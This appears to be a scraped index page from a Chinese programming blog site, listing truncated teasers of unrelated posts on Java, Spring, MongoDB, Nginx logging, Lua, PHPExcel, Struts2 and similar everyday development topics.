aijuans
spring DI 现 源代码
(转)
分析Spring源代码之,DI的实现
2012/1/3 by tony
接着上次的讲,以下这个sample
[java]
view plain
copy
print
for循环的进化
alxw4616
JavaScript
// for循环的进化
// 菜鸟
for (var i = 0; i < Things.length ; i++) {
// Things[i]
}
// 老鸟
for (var i = 0, len = Things.length; i < len; i++) {
// Things[i]
}
// 大师
for (var i = Things.le
网络编程Socket和ServerSocket简单的使用
百合不是茶
网络编程基础 IP地址端口
网络编程;TCP/IP协议
网络:实现计算机之间的信息共享,数据资源的交换
协议:数据交换需要遵守的一种协议,按照约定的数据格式等写出去
端口:用于计算机之间的通信
每运行一个程序,系统会分配一个编号给该程序,作为和外界交换数据的唯一标识
0~65535
查看被使用的
JDK1.5 生产消费者
bijian1013
java thread 生产消费者 java多线程
ArrayBlockingQueue:
一个由数组支持的有界阻塞队列。此队列按 FIFO(先进先出)原则对元素进行排序。队列的头部 是在队列中存在时间最长的元素。队列的尾部 是在队列中存在时间最短的元素。新元素插入到队列的尾部,队列检索操作则是从队列头部开始获得元素。
ArrayBlockingQueue的常用方法:
JAVA版身份证获取性别、出生日期及年龄
bijian1013
java 性别 出生日期 年龄
工作中需要根据身份证获取性别、出生日期及年龄,且要还要支持15位长度的身份证号码,网上搜索了一下,经过测试好像多少存在点问题,干脆自已写一个。
CertificateNo.java
package com.bijian.study;
import java.util.Calendar;
import
【Java范型六】范型与枚举
bit1129
java
首先,枚举类型的定义不能带有类型参数,所以,不能把枚举类型定义为范型枚举类,例如下面的枚举类定义是有编译错的
public enum EnumGenerics<T> { //编译错,提示枚举不能带有范型参数
OK, ERROR;
public <T> T get(T type) {
return null;
【Nginx五】Nginx常用日志格式含义
bit1129
nginx
1. log_format
1.1 log_format指令用于指定日志的格式,格式:
log_format name(格式名称) type(格式样式)
1.2 如下是一个常用的Nginx日志格式:
log_format main '[$time_local]|$request_time|$status|$body_bytes
Lua 语言 15 分钟快速入门
ronin47
lua 基础
-
-
单行注释
-
-
[[
[多行注释]
-
-
]]
-
-
-
-
-
-
-
-
-
-
-
1.
变量 & 控制流
-
-
-
-
-
-
-
-
-
-
num
=
23
-
-
数字都是双精度
str
=
'aspythonstring'
java-35.求一个矩阵中最大的二维矩阵 ( 元素和最大 )
bylijinnan
java
the idea is from:
http://blog.csdn.net/zhanxinhang/article/details/6731134
public class MaxSubMatrix {
/**see http://blog.csdn.net/zhanxinhang/article/details/6731134
* Q35
求一个矩阵中最大的二维
mongoDB文档型数据库特点
开窍的石头
mongoDB文档型数据库特点
MongoDD: 文档型数据库存储的是Bson文档-->json的二进制
特点:内部是执行引擎是js解释器,把文档转成Bson结构,在查询时转换成js对象。
mongoDB传统型数据库对比
传统类型数据库:结构化数据,定好了表结构后每一个内容符合表结构的。也就是说每一行每一列的数据都是一样的
文档型数据库:不用定好数据结构,
[毕业季节]欢迎广大毕业生加入JAVA程序员的行列
comsci
java
一年一度的毕业季来临了。。。。。。。。
正在投简历的学弟学妹们。。。如果觉得学校推荐的单位和公司不适合自己的兴趣和专业,可以考虑来我们软件行业,做一名职业程序员。。。
软件行业的开发工具中,对初学者最友好的就是JAVA语言了,网络上不仅仅有大量的
PHP操作Excel – PHPExcel 基本用法详解
cuiyadll
PHP Excel
导出excel属性设置//Include classrequire_once('Classes/PHPExcel.php');require_once('Classes/PHPExcel/Writer/Excel2007.php');$objPHPExcel = new PHPExcel();//Set properties 设置文件属性$objPHPExcel->getProperties
IBM Webshpere MQ Client User Issue (MCAUSER)
darrenzhu
IBM jms user MQ MCAUSER
IBM MQ JMS Client去连接远端MQ Server的时候,需要提供User和Password吗?
答案是根据情况而定,取决于所定义的Channel里面的属性Message channel agent user identifier (MCAUSER)的设置。
http://stackoverflow.com/questions/20209429/how-mca-user-i
网线的接法
dcj3sjt126com
一、PC连HUB (直连线)A端:(标准568B):白橙,橙,白绿,蓝,白蓝,绿,白棕,棕。 B端:(标准568B):白橙,橙,白绿,蓝,白蓝,绿,白棕,棕。 二、PC连PC (交叉线)A端:(568A): 白绿,绿,白橙,蓝,白蓝,橙,白棕,棕; B端:(标准568B):白橙,橙,白绿,蓝,白蓝,绿,白棕,棕。 三、HUB连HUB&nb
Vimium插件让键盘党像操作Vim一样操作Chrome
dcj3sjt126com
chrome vim
什么是键盘党?
键盘党是指尽可能将所有电脑操作用键盘来完成,而不去动鼠标的人。鼠标应该说是新手们的最爱,很直观,指哪点哪,很听话!不过常常使用电脑的人,如果一直使用鼠标的话,手会发酸,因为操作鼠标的时候,手臂不是在一个自然的状态,臂肌会处于绷紧状态。而使用键盘则双手是放松状态,只有手指在动。而且尽量少的从鼠标移动到键盘来回操作,也省不少事。
在chrome里安装 vimium 插件
MongoDB查询(2)——数组查询[六]
eksliang
mongodb MongoDB查询数组
MongoDB查询数组
转载请出自出处:http://eksliang.iteye.com/blog/2177292 一、概述
MongoDB查询数组与查询标量值是一样的,例如,有一个水果列表,如下所示:
> db.food.find()
{ "_id" : "001", "fruits" : [ "苹
cordova读写文件(1)
gundumw100
JavaScript Cordova
使用cordova可以很方便的在手机sdcard中读写文件。
首先需要安装cordova插件:file
命令为:
cordova plugin add org.apache.cordova.file
然后就可以读写文件了,这里我先是写入一个文件,具体的JS代码为:
var datas=null;//datas need write
var directory=&
HTML5 FormData 进行文件jquery ajax 上传 到又拍云
ileson
jquery Ajax html5 FormData
html5 新东西:FormData 可以提交二进制数据。
页面test.html
<!DOCTYPE>
<html>
<head>
<title> formdata file jquery ajax upload</title>
</head>
<body>
<
swift appearanceWhenContainedIn:(version1.2 xcode6.4)
啸笑天
version
swift1.2中没有oc中对应的方法:
+ (instancetype)appearanceWhenContainedIn:(Class <UIAppearanceContainer>)ContainerClass, ... NS_REQUIRES_NIL_TERMINATION;
解决方法:
在swift项目中新建oc类如下:
#import &
java实现SMTP邮件服务器
macroli
java 编程
电子邮件传递可以由多种协议来实现。目前,在Internet 网上最流行的三种电子邮件协议是SMTP、POP3 和 IMAP,下面分别简单介绍。
◆ SMTP 协议
简单邮件传输协议(Simple Mail Transfer Protocol,SMTP)是一个运行在TCP/IP之上的协议,用它发送和接收电子邮件。SMTP 服务器在默认端口25上监听。SMTP客户使用一组简单的、基于文本的
mongodb group by having where 查询sql
qiaolevip
每天进步一点点 学习永无止境 mongo 纵观千象
SELECT cust_id,
SUM(price) as total
FROM orders
WHERE status = 'A'
GROUP BY cust_id
HAVING total > 250
db.orders.aggregate( [
{ $match: { status: 'A' } },
{
$group: {
Struts2 Pojo(六)
Luob.
POJO strust2
注意:附件中有完整案例
1.采用POJO对象的方法进行赋值和传值
2.web配置
<?xml version="1.0" encoding="UTF-8"?>
<web-app version="2.5"
xmlns="http://java.sun.com/xml/ns/javaee&q
struts2步骤
wuai
struts
1、添加jar包
2、在web.xml中配置过滤器
<filter>
<filter-name>struts2</filter-name>
<filter-class>org.apache.st